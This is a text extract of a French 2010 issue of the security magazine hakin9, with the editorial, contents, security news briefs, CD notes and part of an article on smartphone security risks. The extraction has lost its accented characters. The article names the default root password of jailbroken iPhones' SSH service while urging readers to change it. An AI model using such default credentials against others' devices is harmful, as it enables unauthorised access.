hakin9!1!2010 fr ebook

85

Upload: florian-laco

Post on 21-Jul-2015

176 views

Category:

Documents


0 download

TRANSCRIPT

DITORIALCHERS LECTEURS,Nous avons le plasir de vous prsenter le 1er numro de cette nouvelle anne 2010. cette occasion, nous vous souhaitons tous et toutes une merveilleuse anne 2010 pleine de russite professionnelle, ainsi que beaucoup de plaisir lors de la lecture de notre magazine. L'anne dernire, beaucoup d'entre vous nous suggraient de nous intresser au sujet de la scurit des smartphones. Nous avons pris en compte de vos souhaits, et revenons vers vous cette fois, avec les dossiers qui prsentent cette question sous diffrents aspects. Nous vous montrerons que les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit. Cet numro contient aussi l'article qui vous expliquera comment gagner du temps en automatisant l'exploitation de vulnrabilits dcouvertes lors de l'analyse du rseau. Certains lecteurs n'apprendront rien dans l'article Automatiser l'exploitation de vulnrabilit lors d'un test d'intrusion, mais d'autre y dcouvriront peut-tre comment installer et faire interagir ces outils. Et maintenant nous voudrions attirer votre attention au sujet de la restauration des symboles de dbogage qui est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans l'article Restaurer les symboles de dbogage partir de binaires compils statiquement peut tre rutilise dans d'autres champs d'tude. Sans oublier le CD-ROM, sur lequel, vous trouverez tutoriel vido pour l'article Windows FE Live CD d'investigation informatique Windows-PE.

Nous vous souhaitons une trs bonne lecture, Jakub Borowski

A cause de plusieurs mprises dans le procs de production dans notre magazine l'article La RAM: une vulnrabilit avre des disques chiffrs de notre auteur Jrome Bise a t publi avec plusieurs erreurs. Dans cette issue nous publions la version corrige par l'auteur. Nous prions l'auteur et ses collaborateurs de bien vouloir accepter nos sincres excuses.

1/2010 HAKIN9

3

SOMMAIREDOSSIER12 La scurit des smartphonesRGIS SENET De nos jours, avec lexplosion relativement rcente des rseaux 3G, les besoins en termes de connectivit en environnement professionnel sont constants. Les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit.

ATTAQUE34 Automatiser l'exploitation de vulnrabilit lors d'un test d'intrusionERIC BEAULIEU L'une des tapes la plus longue, mais peut tre la plus intressante, durant un test d'intrusion, est l'exploitation des vulnrabilits dcouvertes. Celleci, ralise traditionnellement aprs la dcouverte du primtre et des htes qui le composent et le plus souvent soumise accord du client. Dans cet article, nous allons donc voir comment gagner du temps en automatisant l'exploitation de vulnrabilits dcouvertes lors de l'analyse du rseau. Certains lecteurs n'apprendront rien dans cet article, mais d'autre y dcouvriront peut-tre comment installer et faire interagir ces outils.

16

Mcanisme de Scurit sous AndroidBABACI NABIL Faire du dveloppement Open-Source devient de plus en plus tendance, surtout si nous pouvons profiter la fois de services qui ont fait leurs preuves dans ce domaine comme le fait si bien Google. Nouveau sur le march des OS embarqus pour les smartphones, Android propose toute une panoplie de services centrs utilisateur mais offre aussi une plateforme de dveloppement alliant puissance et simplicit, offrant les mcanismes de scurit les plus rcents et des plus faciles simple mettre en oeuvre.

42

Remote download excution avec java : utilisation et protection

CHRISTOPHE B. AKA T0FX La plate-forme Java fut lun des premiers systmes offrir le support de lexcution du code partir de sources distantes. Un applet peut fonctionner dans le navigateur web dun utilisateur, excutant du code tlcharg depuis un serveur HTTP. Le code dune applet fonctionne dans un espace trs restrictif, ce qui protge lutilisateur des codes errons ou mal intentionns. Cet espace est dlimit par un objet appel gestionnaire de scurit. Un tel objet existe aussi pour du code local, mais il est alors par dfaut inactif.

FOCUS20 Restaurer les symboles de dbogage partir de binaires compils statiquementJUSTIN SUNWOO KIM La restauration des symboles de dbogage est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans le prsent article peut tre rutilise dans d'autres champs d'tude.

PRATIQUE48 Windows FE Live CD d'investigation informatique Windows-PEMARC REMMERT Au cours de l'anne 2008, des rumeurs ont circul sur la distribution d'un Live CD Microsoft Windows FE. Sur Internet tous les types de sujets taient abords dont celui de la scurit et de l'investigation informatique, pourtant ce CD Windows n'a pas connu un franc succs.

4 HAKIN9 1/2010

SOMMAIRE60 La scurit des rseaux bluetoothRGIS SENET Bluetooth est une spcification de l'industrie des tlcommunications. Elle utilise une technologie radio courte distance destine simplifier les connexions entre les appareils lectroniques. Elle a t conue dans le but de remplacer les cbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les souris, les manettes de jeu vido, les tlphones portables, les PDA, les systmes et kits mains libres, les autoradios, les appareils photo numriques, les lecteurs de code-barres, les bornes publicitaires interactives.

VARIA06 En brefNICOLAS HILY Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques.

10

Sur le CD-ROM

Nous vous prsentons le contenu et le mode de fonctionnement de la version rcente de notre principale distribution hakin9. Et les applications commerciales

TECHNIQUE64 LA RAM : Une vulnrabilit avre des FDEJRME BISE Les systmes de chiffrement de disque la vol (FDE, on the Fly Disk Encryption) sont des logiciels permettant d'assurer la confidentialit des donnes. Ces systmes permettent de chiffrer/dchiffrer les donnes d'un disque dur (ou d'un conteneur) lorsque l'on y accde. Ils sont compltement transparents pour les utilisateurs (except la saisie dun mot de passe). L'utilisation de FDE est aujourd'hui de plus en plus courante, que ce soit par des entreprises ou des particuliers pour assurer la confidentialit des donnes.A cause de plusieurs mprises dans le procs de production dans notre magazine l'article La RAM: une vulnrabilit avre des disques chiffrs de notre auteur Jrome Bise a t publi avec plusieurs erreurs. Dans cette issue nous publions la version corrige par l'auteur. Nous prions l'auteur et ses collaborateurs de bien vouloir accepter nos sincres excuses.

Le bimestriel hakin9 est publi par Software Press Sp. z o. o. SK Prsident de Software Press Sp. z o. o. SK: Pawe Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Jakub Borowski [email protected] Fabrication: Andrzej Kuca [email protected] DTP : Graphics & Design Marcin Zikowski www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : [email protected] Abonnement : [email protected] Diffusion : Ilona Lepieszka [email protected] Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits rservs Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : [email protected] Prparation du CD : Rafal Kwany Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org Abonnement (France mtropolitaine, DOM/TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !

72

L'argent sales des cyber-criminels

GUILLAUME LOVET Arnaqueurs, phishers, bot herders, spammeurs, extorqueurs en-ligne, voleurs didentit... Leurs noms semblent obscurs mais leurs intentions ne le sont pas : ils sont tous l pour voler notre argent.

1/2010 HAKIN9

5

EN BREFGOOGLE RACHTE UNE TECHNOLOGIE DE PERSONNALISATION DES PUBLICITS EN LIGNEAprs AdMob et Gizmo5, Google annonce le rachat de Teracent, une start-up de la Silicon Valley, spcialise dans l'affichage personnalis de publicits en ligne. Le gant des

1 HEURE AU SOLEIL POUR TLPHONER 10 MINUTES AVEC LE SAMSUNG E1107Aprs LG, Samsung lance son mobile solaire, le E1107 "Crest Solar" disponible 1 euro chez l'oprateur MVNO Simplicime. Dot de cellules photovoltaques, cet appareil se recharge grce l'nergie solaire. Une heure d'exposition au soleil permet de passer 10 minutes d'appel selon le constructeur coren. Ce Samsung "colo" est galement livr dans un emballage fabriqu partir de matriaux respectueux de l'environnement et avec un chargeur conome en nergie. Commercialisation partir du 25 novembre 1 euro avec une gamme de forfaits (engagement sur 24 mois) , et 49 euros avec une offre prpaye.

moteurs de recherche compte clore l'acquisition au cours de ce trimestre, mais le montant de la transaction n'a pas t prcis. Il y a deux semaines peine, Google avait dj marqu son intrt pour AdMob, un spcialiste de la publicit sur mobiles, et propos de l'acqurir pour 750 M$ en actions. Teracent s'appuie sur des algorithmes d'apprentissage pour personnaliser les publicits qu'il diffuse aux internautes en piochant parmi des milliers d'lments graphiques (images, produits, messages, couleurs...), explique Google. Ces lments sont combins d'autres variables telles que la localisation gographique, la langue, les contenus du site Web, le moment de la journe ou, encore, les rsultats prcdemment enregistrs sur diffrentes publicits. Cette technologie peut aider les annonceurs obtenir de meilleurs rsultats sur leur campagne d'affichage sur le Web , commentent sur un billet de blog Neal Mohan, vice prsident de la gestion produit, et Joerg Heilig, directeur technique de Google. Ces outils seront proposs aux annonceurs qui affichent des campagnes sur le rseau de contenu Google ainsi qu'aux clients issus du rachat de la rgie publicitaire DoubleClick. En mars dernier, Google avait commenc tester sur Youtube et sur les sites de ses partenaires une technologie permettant de personnaliser les messages publicitaires en fonction des sites visits par les internautes.6 HAKIN9 1/2010

CONFICKER INFECTE 7 MILLIONS DE PC EN UN ANLe ver Conficker et ses diffrentes variantes ont pass le cap de 7 millions de machines infectes, selon des chercheurs de la Fondation Shadowserver. Ceux-ci ont gard la trace de l'infection de ces PC en cassant l'algorithme utilis par le ver pour rechercher des instructions sur Internet et en plaant leurs propres serveurs de siphonnage sur les diffrents domaines visiter. Conficker rcupre les instructions de diffrentes faons et, pour cette raison, les pirates ont pu garder le contrle des machines, mais les serveurs de siphonnage des chercheurs ont donn une bonne ide du nombre de machines empoisonnes.

Mme si Conficker est le plus connu des vers sur PC, les machines continuent tre infectes, commente Andre DiMino, co-fondateur de la Fondation Shadowserver. La tendance est la hausse et le dpassement des 7 millions de victimes constitue un vnement majeur . Conficker a d'abord attir l'attention des experts en scurit en novembre 2008 puis a reu un large cho auprs des mdias dbut 2009. Il a dmontr son impressionnante rsistance et sa capacit intoxiquer d'autres systmes mme aprs sa surpression. Ce verre est trs rpandu en Chine et au Brsil par exemple. Ce qui laisse penser aux membres du Groupe de travail Conficker (une coalition de l'industrie mis en place l'anne dernire pour radiquer ce ver) que la plupart des ordinateurs infects fonctionnent avec des copies pirates de Windows. Leurs utilisateurs ne peuvent ainsi tlcharger ni les patches, ni les outils de nettoyage contre les logiciels malicieux que fournit Microsoft. En dpit de sa taille, Conficker n'a que rarement t utilis par les criminels qui le contrlent. Pourquoi ? Le mystre reste entier. Certains membres du Groupe de travail Conficker estiment que le crateur du ver hsite attirer davantage l'attention sur lui, tant donn le succs mondial de son oeuvre. La seule chose dont on est sr, c'est que cette personne est terrifie, assure Eric Sites, directeur technologique chez Sunbelt Software et membre du groupe de travail. Cette chose a cout tellement d'argent aux entreprises et aux personnes pour en venir bout, que si on trouve un jour les auteurs, ils seront exils pour un bon moment . Les responsables informatiques dcouvrent

EN BREFsouvent la prsence d'une infection Conficker quand un utilisateur est tout d'un coup incapable de s'identifier sur son ordinateur. Les machines touches tentent de se connecter aux autres ordinateurs sur le rseau et de deviner leur mot de passe. Comme le ver utilise un dictionnaire pour dcouvrir le mot de passe et effectue de nombreuses tentatives, les utilisateurs autoriss sont rgulirement vincs du rseau. Le cot des dgts pourrait tre bien plus important sir Conficker tait utilis pour une attaque en dni de service distribu, par exemple. C'est sans nul doute un botnet qui pourrait se transformer en arme vritable, confirme Andre DiMino. Avec un maillage d'une telle ampleur, il n'y a pas de limites au mal que l'on peut faire . ami . Outre sa gratuit pour un usage domestique (mais combien de TPE/PME l'utilisent ainsi ?), Avast! doit son originalit son systme de mises jour qui s'effectuent automatiquement quand l'ordinateur est connect Internet, et l'analyse en temps rel des programmes excuts (documents, emails, fichiers partags, etc.). Avast! est disponible en 33 langues, dont le franais.

SYMANTEC S'OFFRE LES OUTILS ANTI-INTRUSION DE MI5Si John Thomson a quitt les rnes de Symantec pour une retraite bien mrite, la frnsie de rachats semble continuer sous l're du nouveau PDG, Enrique Salem. En prambule de la

GOOGLE DONNE UNE SEMITRANSPARENCE SUR SES DONNES PERSONNELLES Transparence, choix et contrle. C'est ainsi que Google dcrit son tout nouveau service, Dashboard, un tableau de bord permettant tout utilisateur inscrit chez Google de grer depuis une seule page toutes ses donnes

L'ANTIVIRUS GRATUIT AVAST APPROCHE DES 100 MILLIONS D'UTILISATEURSL'diteur Alwil Software annonce s'approcher du cap des 100 millions d'utilisateurs dans le monde de son logiciel antivirus Avast!, tlchargeable gratuitement. Le premier internaute d'Avast! s'est enregistr en janvier 2002, et le 50 millionime en mars 2008.

Le 100 millionime utilisateur du logiciel recevra en cadeau un sjour gratuit pour Prague, lieu du sige d'Alwil Software. Il pourra emmener un ami dans la capitale de la rpublique tchque - peut-tre la personne qui lui aura recommand le logiciel, explique le patron d'Alwil Software, dans la mesure o deux utilisateurs sur trois d'Avast! s'inscrivent sur les conseils d'un8 HAKIN9 1/2010

personnelles. Il est vrai que si on cumule les services de messagerie Gmail, de messagerie instantane Gtalk, de partage de vidos Youtube, de partage de photos Picasa, d'dition de documents Docs, d'agenda Calendar, etc., le besoin d'un tel tableau de bord se faisait sentir. Le paramtrage peut ainsi s'effectuer depuis un point unique. Cela permet en outre Google d'afficher sa bonne volont quant au traitement des donnes personnelles. Toutefois, Google Dashboard ne montre que ce que l'utilisateur a luimme dcid d'afficher ou de faire dans chacun des services. Cela ne rpond donc pas aux interrogations des dfenseurs de la confidentialit des donnes, sur les informations collectes par Google et l'usage qu'il en fait. Le Dashboard est accessible depuis la page de paramtrage de son compte, ou bien en tapant directement google.com/dashboard.

confrence RSA Security, Symantec vient en effet d'acheter Mi5 Networks, une start-up spcialise dans la protection des entreprises contre les intrusions et les malwares en provenance du Web. L'offre de Mi5 devrait progressivement intgrer les suites de Symantec dans le courant de l'anne, notamment ses passerelles de messagerie et ses outils ddis aux postes de travail, et sera galement vendue en produit autonome. Symantec n'a encore donn aucun montant pour cette nouvelle acquisition, mais elle devrait tre bien en de des 695 millions de dollars dpenss en octobre dernier pour MessageLabs, dernire socit en date avale par Symantec. Entre temps, la crise est passe par l et la dvaluation boursire des actifs de Symantec a caus un trou de prs de 7 milliards de dollars dans les caisses d'une socit jusqu'ici plutt profitable. Outre cet achat, Symantec a annonc dans la foule deux suites pour les professionnels : Symantec Protection Suite Small Business Edition et Symantec Protection Suite Entreprise Edition. Commercialises des prix non encore dfinis partir de l't, ces suites veulent non seulement assurer la scurit des postes de travail mais galement proposer des services de sauvegarde et de restauration de donnes, de mise en place des politiques d'entreprise et de la protection

des donnes sensibles (notamment leur envoi vers l'extrieur par mail).

OFFICESCAN 10 TREND MICROTrend Micro lance OfficeScan 10, une solution de protection pour les postes de travail et les serveurs. Cette nouvelle version a t toffe par des fonctionnalits de rputation de fichiers et de sites Web qui permet d'viter les malwares. La solution s'appuie sur la plateforme Spart Protection Network de l'diteur. En fonction des besoins de l'entreprise, il est possible de rajouter des outils comme Intrusion Defense Firewall (prvention des intrusions), Mobile Security pour protger les donnes sur les smartphones et les PDA, Security for MacIntosh qui, comme son nom l'indique, s'adresse aux utilisateurs Apple et Virtualisation Security pour les machines virtuelles. Trend Micro OfficeScanTM 10 est disponible en deux versions, Standard Advanced, qui comprend intgre toutes les options dcrites plus haut. Outre la disponibilit de ServerProtect pour les environnements Windows, Netware et Linux, la version Advanced d'OfficeScan 10 est galement compatible avec EMC Celera et Netapp Filer.

des TPE, des PME et des grands comptes, avec une nouvelle gamme de commutateurs qui leur est ddie.En France, seront proposs deux commutateurs pour les TPE, un commutateur conu pour les besoins des PME et une troisime offre pour ceux des grands comptes. D'ici la fin de l'anne, cette gamme de produits Huawei sera complte par des solutions de stockage (traditionnelles et flash). La reprise par 3Com des parts de Huawei dans H3C lui avait permis de bnficier d'une base solide en Chine, pour concevoir et dvelopper ses produits... et finalement devenir assez allchant pour que HP le rachte.

normes sont trs peu contraignantes. Dans le pass, un accord entre l'Union Europenne et les Etats-Unis, dit de safe harbor , a permis des changes entre entreprises europennes et amricaines respectant volontairement un certain nombre de rgles, mais sans que toutes les entreprises amricaines aient se soumettre des rgles contraignantes. Dans la logique amricaine, le type de protection des donnes personnelles relve de la libre entreprise et du contrat pass entre la personne concerne et l'entreprise disposant du fichier. La logique europenne est au contraire celle de la rgle commune impose et gre par l'autorit publique.

UN PREMIER PAS VERS DES STANDARDS MONDIAUX POUR PROTGER LES DONNES PERSONNELLESDbut novembre, la CNIL a particip avec ses homologues du monde entier la 31me confrence mondiale des commissaires la protection des donnes personnelles, Madrid. Selon la CNIL, les 80 organismes participant ont lunanimit vot une rsolution visant tablir des standards internationaux sur la protection des donnes personnelles et de la vie prive. (...) L'adoption d'un tel document constitue un pas historique car, pour la premire fois, les autorits de protection des donnes sont parvenues laborer au niveau mondial un corpus de principes communs adapts aux dernires volutions technologiques. . Cependant, le texte exact adopt n'est pas disponible ce jour. A l'occasion de l'atelier sur le "Droit l'oubli numrique", organis dans les locaux de Sciences Po Paris, le 12 novembre dernier, Alex Trk, prsident de la CNIL, a soulign l'intrt et l'importance d'tre parvenu tablir ce corpus, accept par les reprsentants d'une cinquante pays et d'acteurs majeurs du numrique. Mme si ce genre de rsolutions reste le plus souvent une simple dclaration de principe, dfinir un standard mondial dans un monde o l'information circule sans frontire est un premier pas. Toutefois, certains pays, comme les Etats-Unis, ont des

KINDLE : UNE MISE JOUR POUR AUGMENTER L'AUTONOMIE DE LA BATTERIE ET SUPPORTER LE PDFLe livre lectronique dAmazon a reu la premire mise jour de son firmware : elle augmente l'autonomie de la batterie lorsque la connexion sans fil est active, et apporte la compatibilit native avec le format PDF. Amazon soigne ses ventes de fin d'anne avec une importante mise jour du firmware de ses Kindle. Importante car elle permet de faire passer l'autonomie de la batterie de 4 7 jours lorsque la connexion sans fil est active. Rappelons que le Kindle ne propose pas de Wi-Fi mais se connecte via le rseau de l'oprateur AT&T. Si l'autonomie augmente en mode sans fil, elle reste en revanche inchange (deux semaines) en usage normal. L'autre amlioration notable est le support en natif du format PDF. Il suffira dsormais de transfrer des documents PDF dans le Kindle depuis un ordinateur par liaison USB ou de les envoyer par courriel l'adresse Kindle associe au livre lectronique. La mise jour est diffuse automatiquement en OTA pour les possesseurs de Kindle et intgre dans tous les nouveaux appareils qui seront expdis. Seule la premire version du Kindle, dpourvue de connexion sans fil, ne peut pas bnficier de ces amliorations. Rdig par Nicolas Hily1/2010 HAKIN9 9

HUAWEI REVIENT SUR LE MARCH FRANAIS DES ENTREPRISESEn cdant il y a trois ses parts dans H3C, la co-entreprise qu'il avait fonde avec 3Com, Huawei tait sorti par la mme occasion du march des entreprises. L'quipementier chinois s'tait alors recentr sur les acteurs des tlcoms. Il fait aujourd'hui son retour auprs

SUR LE CDCD-ROM HAKIN9.LIVEWINDOWS FE LIVE CD D'INVESTIGATION INFORMATIQUE

T

roy Larson, est un investigateur informatique senior qui travaille au sein du groupe de scurit informatique de Microsoft. C'est lun des tous premiers avoir apport des modifications sur Windows PE pour l'adapter au domaine des investigations informatique lgales. Le systme d'exploitation Windows FE, signifie littralement "environnement

d'investigation informatique" (Forensic Environment). Il est intressant de noter que Windows est largement utilis comme systme d'exploitation par les suites logicielles en investigation informatique, toutefois il n'a jamais servi comme systme de base sur un Live CD. Marc Remmert vous montrera dans cet article comment crer un Live CD dinvestigation informatique tournant

sous Windows Vista et comment ajouter quelques programmes utiles. Avant daller plus loin, notez quil est indispensable davoir quelques connaissances de base des systmes d'exploitation Windows et quelques connaissances dans le domaine de l'investigation informatique.

e Live CD OWASP est une mise jour du Live CD OWASP version 2007. Ce projet a t finalis le 15 Septembre 2008 dans le cadre de lOWASP Summer of Code (SoC) et une version de production a t lance dans la foule. Dautres versions ont galement t distribues : Version Portugaise (12 Dcembre 2008), Version AustinTerrier (10 Fvrier 2009), Version AppSec EU (Mai 2009).

LIVE CD OWASP

L

En plus de ces versions spcifiques au Live CD OWASP, l'organisateur a mis en place des forums et des didacticiels sur le sujet ainsi que des documents, outils et ressources pour la communaut soccupant de laspect scurit des applications.10 HAKIN9 1/2010

D'autres versions ont galement vu le jour dans le cadre de ce projet. Il existe actuellement une version du Live CD OWASP tournant sous VMware et installe sur un lecteur virtuel. Celle-ci permet d'excuter un systme d'exploitation partir d'une cl USB bootable, une installation VM portable, et une installation Asus Eee PC. Vous pouvez tlcharger ces versions sous forme de fichiers ou suite d'instructions afin de crer ce type denvironnement. Le projet a pour but de fournir au plus grand nombre de la documentation et des outils spcifiques pour la scurisation des applications. A titre personnel je trouve que cest une excellente initiative qui vient complter le travail fournit par lOWASP sur la scurisation des applications.

Le projet vise galement : Fournir de la documentation et des outils OWASP rcents. Fournir des outils de scurisation d'applications distribus gratuitement et des packages faciles prendre en main. Veiller ce que les outils fournis soient faciles d'utilisation. Fournir de la documentation et des outils rcents spcifiques au Live CD OWASP. Fournir de la documentation actualise sur l'utilisation des outils et la mthodologie de dveloppement des modules. Veiller ce que les outils fournis soient en cohrence avec le guide OWASP Testing.

HAKIN9.LIVE

Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.

En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : [email protected]

6/2008 HAKIN9

1 1

DOSSIERRGIS SENET

La scurit des smartphonesDe nos jours, avec lexplosion relativement rcente des rseaux 3G, les besoins en termes de connectivit en environnement professionnel sont constants. Les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit.

Degr de difficult

E

CET ARTICLE EXPLIQUE...Ce quest un smartphone. Les attaques relatives aux smartphones.

CE QU'IL FAUT SAVOIR...Aucune connaissance particulire nest requise. 12 HAKIN9 1/2010

n effet, les smartphones permettent daccder une quantit phnomnale dinformations sensibles lie aux entreprises, telle que les contacts clients, les donnes financires, lintranet et les rseaux. Si lune de ces informations venait tomber entre de mauvaises mains, que ce soit via un logiciel malveillant ou parce quun terminal est perdu ou vol, cela pourrait avoir un effet dvastateur pour lentreprise. Comme pour chaque nouveaut, un nouveau march technologique rencontrant un fort succs et rapportant beaucoup dargent aux constructeurs, ce march peut devenir intressant pour les cyber criminels. Les cybers pirates n'ont donc pas tard se lancer sur les traces des utilisateurs de smartphones pour diffuser de nouvelles attaques et pirater les entreprises. iSupply Corp prvoie d'ailleurs que la vente des smartphones va atteindre les 192 millions d'units pour 2009, soit une

croissance de 11,1% par rapport 2008. Il est donc vraiment temps de sensibiliser les utilisateurs de smartphones quil sagisse dutilisateurs occasionnel ou encore des professionnels.

Les smartphones

Un smartphone est un tlphone mobile coupl un PDA. Il fournit les fonctionnalits d'agenda/calendrier, de navigation web, de consultation de courrier, de messagerie instantane, de GPS, etc. En 2005, seulement 2 % des tlphones mobiles sont des smartphones, mais les analystes prvoient d'arriver 30 % d'ici 2010. Les ventes de smartphones ont augment considrablement pour atteindre le nombre record de 39,9 millions de smartphones vendus sur le premier quart de lanne 2009. Ces chiffres sont bien videment en constante augmentation. Au jour daujourdhui, le march des smartphones est principalement domin par quatre systmes qui ont rellement tirs leur pingle du jeu :

SMARTPHONE Symbian OS, iPhone OS, RIM BlackBerry OS, Windows Mobile. de mme tenaces, il est donc ncessaire dtre prudent. Les moyens de propagation des malwares sont trs diffrentes, ils peuvent se transmettre via MMS, Bluetooth ou encore infect lordinateur lors de la connexion ce dernier. Symbian possde le plus grand nombre de produit permettant lespionnage commercial. Il est donc rellement ncessaire dtre sur ses gardes lors de linstallation de quoi que ce soit. distribu sur lensemble des appareils communment appel BlackBerry. Ce systme dexploitation ne possde quune scurit que vraiment peut lever contre les malwares ainsi que les logiciels espions. De plus, il est extrmement facile de dvelopper une application et de la distribuer sans contrainte, donc attention aux applications disponible sur le net.Malgr tout cela, il nexiste pas normment de malware ni de logiciel espions pour BlackBerry. Des prsentations ayant pour but de prsenter lutilisation malicieuse dun BlackBerry dans un rseau dentreprise peuvent se trouver sur le net.

Cet engouement pour les smartphones peut galement sexpliquer du fait de la diminution de leur taille ainsi quune augmentation des capacits de stockage de ces derniers. Pour simple exemple, liPhone dispose dun espace 32Go permettant de stocker un nombre considrable de donnes pour un appareil de cette taille. Nous allons prsenter un peu les quatre systmes tirant leur pingle de jeu afin de voir leurs avantages/ inconvnients.

Symbian OS

Le systme dexploitation Symbian est une cible pour de nombreux malware du fait que cet OS est vraiment trs rpandu et quil est vraiment simple de dvelopper dessus grce des interprteurs de langages inclus nativement comme par exemple le python. Depuis sa dernire version, Symbian intgre une scurit supplmentaire permettant de contrer les malwares. Cette scurit est bas sur la signature des binaires. Il existe plusieurs manires permettant de signer les binaires apportant des avantages ainsi que des inconvnients. Bien sur, la signature des binaires est une bonne mthode mais ne permet pas de supprimer lensemble des malwares, certains dentre eux sont tout

Le systme dexploitation iPhone est un driv du systme Mac OS X. Il possde une sparation des privilges ainsi que des droits sur les fichiers proche du systme UNIX. Bien videmment, il nexiste pas que le compte root pour mener bien lensemble des actions, il existe galement un compte utilisateur nomm mobile permettant de lancer les applications nayant pas besoin de privilges. A la manire de Symbian, les applications iPhone possde un systme de signature des applications quil est possible dinstaller. Initialement, lensemble des applications est contrl par Apple qui signe lui-mme les applications aprs des vrifications pralables. Le dverrouillage de liPhone aussi connu sous le nom de JailBreak permet de supprimer cette limitation impos par Apple et permet linstallation de logiciel non sign. Cest partir de cet instant que la scurit peut tre compromise avec linstallation de malwares ou de logiciels espions. Il est galement noter que le jailbreak de lIPhone le rend plus vulnrable du fait que des nouvelles attaques distantes sont disponibles avec lactivation du SSH par exemple avec des mots de passe par dfaut que bien des personnes ne pensent changer.

iPhone OS

Windows Mobile

Tous comme lensemble des systmes dexploitation de Microsoft (Windows XP, Vista, Seven), le systme dexploitation dans sa version mobile de Microsoft, savoir Windows Mobile attire galement de nombreux programmeurs, hacker et cyber pirates. Il existe deux versions pour ce systme dexploitation qui sont les versions 5.0 et 6.0. Ces deux versions prsentent nanmoins des lacunes de scurit. Dun point de vue scuritaire, Windows mobile connait le mme type dattaques que les systmes dexploitation vue prcdemment. Rajoutons cela que la scurit par dfaut de ce systme dexploitation est relativement faible : Possibilit dexcuter des binaires de manires silencieuse, Auto-excution partir des mdias amovible activs par dfaut, Aucune sparation des privilges.

Figure 1. Compromission dun smartphone dans un rseau dentreprise

BlackBerry OS est un systme dexploitation dvelopp par la socit RIM. Il est lheure actuelle

BlackBerry OS

Pour les versions antrieures la version 4.0 du logiciel de synchronisation des smartphones (ActiveSync), il existait de grosse faille de scurit lors de la synchronisation travers le rseau. En effet, les donnes transitant en clair sur le rseau, il tait possible un cyber pirates deffectuer une attaque de type Man In The Middle entre le smartphone et le poste de synchronisation afin de rcuprer lensemble des donnes.1/2010 HAKIN9 13

DOSSIERIl est mme possible de voir encore plus loin dans la compromission dun rseau. Le smartphones pourrait tout simplement servir de passerelle vers le rseau dentreprise afin davoir un accs direct lensemble du rseau dentreprise. Il est galement possible que le smartphone infecte le poste client qui lui-mme tentera dinfecter le rseau dentreprise permettant ainsi aux cybers criminels de rester dans lombre et de navoir qua rcuprer lensemble des informations que le poste client infect aura rcupr. La porte de lattaque ne va donc sarrter que lorsque le cyber criminel naura plus dides, cela peut faire assez froid dans le dos. il est ncessaire par exemple de toujours verrouiller son tlphone lorsquil peut tre lu ou approch par quelquun. Toujours dans le bon sens, il est important de ne pas installer des applications provenant de source non sure car la majorit des logiciels espions et/ou malwares proviennent de cela. Dans un cadre professionnel, il est ncessaire de savoir rester professionnel, c'est--dire quil nest pas ncessaire dinstaller des jeux ou de jailbreaker son iPhone si cela naide pas pour le travail, cela peut tre beaucoup plus dangereux quautre chose. Pour en revenir au jailbreak de liPhone, rappelons que ce dernier permet de dbloquer un accs distant via un serveur SSH, il est impratif de garder en tte que le mot de passe par dfaut peut tre connu de tous le monde, il est donc ncessaire de la modifier ou bien de dsactiver le serveur SSH. (Par dfaut login : root et mot de passe : alpine). Noubliez pas non plus de dsactiver le Bluetooth si vous ne vous en servez pas, de nombreuses attaques passent par ce protocole.

Figure 2. PDA

Les risques lis la compromission dun smartphone

